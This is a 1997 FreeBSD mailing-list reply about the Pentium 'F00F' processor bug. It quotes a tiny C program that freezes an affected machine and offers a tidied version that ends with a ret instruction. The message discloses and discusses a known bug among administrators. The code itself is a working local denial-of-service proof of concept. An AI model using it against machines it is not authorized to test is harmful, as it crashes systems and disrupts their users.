Date: Mon, 10 Nov 1997 01:32:31 -0800 (PST) From: Julian Elischer <julian@whistle.com> To: Michael Richards <026809r@dragon.acadiau.ca> Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Crashing FreeBSD Message-ID: <Pine.BSF.3.95.971110012605.6078A-100000@current1.whistle.com> In-Reply-To: <199711100059.UAA23095@dragon.acadiau.ca>
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Where have you been?
:)
this is the same program that archie (in the next cube) and I wrote and
posted last week.. looks like it's made full circle and made it back
here.. :)
p.s her are soem slight improvements..
On Sun, 9 Nov 1997, Michael Richards wrote:
> Well folks, it looks like anyone can crash a FreeBSD box. I am told that
> this is a bug in the pentium processor. Compile and run, it will crash the
> machine right away...
>
> Very simple:
>
>
> char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
>
> main () {
> void (*f)() = x;
> f();
> }
>
char x[] = {0xf0, 0x0f, 0xc7, 0xc8, 0xc3};
main()
{
void(*f)() = (void(*)(void))x;
f();
}
this one
1/ doesn't get so many warnimgs.
2/ is corrct in that there is a ret instruction after the bad code.
so people can't say "it's falling off the end"..
(thanks SEF)
julian
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